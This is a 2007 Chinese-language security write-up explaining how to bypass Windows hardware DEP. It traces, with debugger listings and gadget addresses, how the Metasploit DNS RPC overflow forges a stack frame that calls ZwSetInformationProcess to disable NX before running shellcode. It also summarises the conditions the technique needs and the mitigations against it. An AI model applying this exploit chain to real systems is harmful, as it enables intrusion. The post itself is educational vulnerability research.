Bypass Hardware DEP Tips
Author: axis
Date: 2007-04-27
http://www.ph4nt0m.org
DEP(数据执行保护),是windows针对溢出的一种保护措施,分软dep和硬dep,其中硬dep是需要cpu支持的,比较新的处理器一般都支持这个选项,可以在bios里去打开。简单来说,就是堆栈不可执行了,所以一般的在堆栈里执行shellcode的exploit,会攻击失败。
bypass dep也不是新东西了,目前最好的一篇文档是skape和skywing发在uninformed上的一篇。
http://www.uninformed.org/?v=2&a=4&t=txt
这篇文档写的很好,任何想学习或者研究bypass dep的人,都应该去仔细阅读这份文档。
这次由于metasploit里的dns rpc溢出,利用了这种技术,使得绕过硬件dep再次成为了热点,我在这里小结一下。
首先,绕过dep的理论基础是建立在这样一个函数上的。
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
NtCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4
当MEM_EXECUTE_OPTION_ENABLE 设置为 0x2时,则表示禁用NX(Non-Executable) Support. 其中第一个参数可以设置为当前进程。
由于MS的设计原因,导致改函数可以在用户态调用,也就是说在用户态,可以通过调用该函数,来禁用当前进程的NX支持,从而绕过dep。那么调用了一次该函数后,该线程或进程的堆栈空间就是没有DEP保护的了,就可以用来执行shellcode了!
所以通过ret2libc技术,可以在栈里伪造一个frame,来调用这个函数,参数需要我们自己构造,这里的一个弊端就是,因为构造参数的关系,所以不可避免的要有0字节的出现。
以metasploit上的dns rpc溢出为例。分析如下:
在我的2003 sp1上,Ntdll!ZwSetInformationProcess函数如下:
7C951E58 > B8 ED000000 MOV EAX,0ED ;ZwSetInformationProcess
7C951E5D BA 0003FE7F MOV EDX,7FFE0300
7C951E62 FF12 CALL DWORD PTR DS:[EDX]
7C951E64 C2 1000 RETN 10
首先,发送payload,覆盖到栈底,触发异常,此时seh被覆盖,跳转地址到0x769c2566
栈内为:
0138FD4C 77674345 OLEAUT32.77674345
0138FD50 306A3246 指向下一个 SEH 记录的指针
0138FD54 769C2566 SE处理程序
0138FD58 6D587277
跳转后:
769C2566 |. 81C5 AC050000 ADD EBP,5AC
769C256C |. C9 LEAVE
769C256D \. C2 1400 RETN 14
这里,add ebp/leave/retn 是另外一种覆盖seh的利用方法,也是很早就有人提出来了。因为如果用 pop/pop/retn的方式,会跳到seh的前4字节,在这里这个空间显然不够我们做许多事情,而使用add ebp的方式,则可以跳到shellcode里,利用的空间比较大。具体情况具体分析。
leave指令执行后,栈内的情况
ESP ==> > 769C1DA7 ATL.769C1DA7
ESP+4 > 79427552
ESP+8 > 59387453
ESP+C > 67416569
ESP+10 > 64755647
ESP+14 > 50366935
ESP+18 > 000000ED
这样,将去执行0x769c1da7处的代码,该处代码为
769C1DA7 |. 5E POP ESI
769C1DA8 \. C3 RETN
这样,实际上,就将esi的内容,变成了0xed. 注意这里0xed是我们需要的调用号,已经带有0字节了。
当0x769c1da8处准备retn时,栈内的情况:
ESP ==> > 769C1DA4 ATL.769C1DA4
ESP+4 > 7FFE0300
ESP+8 > 374E6E49
ESP+C > 769C109C ATL.769C109C
ESP+10 > 49703552
ESP+14 > FFFFFFFF
ESP+18 > 00000022
ESP+1C > 7FFE0270
ESP+20 > 00000004
ESP+24 > 66686561
也就是说,会返回到 0x769c1da4去执行代码,我们看看该处的代码:
769C1DA4 |. 59 POP ECX
769C1DA5 |. 8BC6 MOV EAX,ESI
769C1DA7 |. 5E POP ESI
769C1DA8 \. C3 RETN
首先将ecx的内容改为 0x7ffe0300
然后将esi的内容mov到eax中,注意前面将esi的内容改成了 0xed,所以实际上就将eax改为了0xed
接下来pop esi,这个无关紧要,再返回到 769C109C
769C109C |. FF11 CALL DWORD PTR DS:[ECX]
这时候比对我们上面所执行的所有代码,实际上就是执行了ZwSetInformationProcess处的代码,最后已经执行到call [ecx]来了.
实际上就是
mov eax,0xed ; 让eax为 0xed
call [0x7ffe0300] ;执行0x7ffe0300处地址的指令
那么根据前面的理论,在调用这个函数时,需要的几个参数,是要自己构造的,看看栈里的情况
ESP ==> > 49703552 ;无关紧要
ESP+4 > FFFFFFFF ; 当前进程 NtCurrentProcess()
ESP+8 > 00000022 ; 0x22 ProcessExecuteFlags
ESP+C > 7FFE0270 ; 指向 0x2的指针 &ExecuteFlags
ESP+10 > 00000004 ; 4字节 sizeof(ExecuteFlags)
所以我们就伪造了一个栈帧来执行这个函数,执行完之后,当前的线程就禁用了DEP保护,就可以在栈里执行shellcode代码了。
我们继续跟. 0x7ffe0300处为0x7C95ED50
7C95ED50 > 8BD4 MOV EDX,ESP
7C95ED52 0F34 SYSENTER
7C95ED54 > C3 RETN
SYSENTER后,
769C109E |> \85FF TEST EDI,EDI ; 此时 edi为0
769C10A0 |. 74 06 JE SHORT ATL.769C10A8
769C10A2 |. 8B07 MOV EAX,DWORD PTR DS:[EDI]
......
769C10A8 |> \8B06 MOV EAX,DWORD PTR DS:[ESI]
769C10AA |. 5F POP EDI
769C10AB |> 5E POP ESI
769C10AC \. C2 0C00 RETN 0C
还记得前面我们有个pop esi的操作吗,那时候我们随便pop了一个地址到esi去,所以在这里的mov操作,会导致异常,因为esi不可读。这样会跳到seh去
经过 add ebp/leave后,将返回到0x769d35bf,该处的内容是 \xff\xe4 ,也就是jmp esp。
0138FB00 CC INT3
0138FB01 CC INT3
0138FB02 CC INT3
0138FB03 CC INT3
0138FB04 CC INT3
0138FB05 CC INT3
0138FB06 CC INT3
0138FB07 CC INT3
最后,我们就成功在栈内执行shellcode了!
这种ret2libc的核心思想,就是去模拟ZwSetInformationProcess的执行,同时要伪造栈帧以传入指定的参数。我曾经用过类似的方法来绕过Redhat下的exec-shield.
不过这种方法受到0字节的约束。
skape在他的paper里列举了另外一个方法。因为在ntdll.dll里有这么一个地方:
7C96E413 C745 FC 0200000>MOV DWORD PTR SS:[EBP-4],2
7C96E41A 6A 04 PUSH 4
7C96E41C 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
7C96E41F 50 PUSH EAX
7C96E420 6A 22 PUSH 22
7C96E422 6A FF PUSH -1
7C96E424 E8 2F3AFEFF CALL ntdll.ZwSetInformationProcess
7C96E429 ^ E9 4775FFFF JMP ntdll.7C965975
那么如果能够直接调用到这里来,就禁用了NX了。但是这个skape在他的paper里找了一连串地址,最后跳到这里来了,可惜我没找到他说的那个函数。有兴趣的可以去具体看他的paper。
还有个限制就是此处是在ntdll.dll里的,前面提到了在利用过程的时候,很可能无法跳到ntdll.dll来。
使用skape的方法,可以避免0字节的问题。
最后,skape还总结了bypass dep的利用条件:
1. 没有ASLR( Address Space Layout Randomization ),也就是dll的加载地址不要随机变化
2. 能够在用户态禁用当前线程或进程的NX
3. 能够构造fake frame传入参数。
前面两点的修补方案很显然,加入ASLR;只有内核态才能禁用进程的NX;第三点则是和漏洞有关了。
以上是一点总结,希望能对某些人有点帮助,也感谢emm对我的帮助。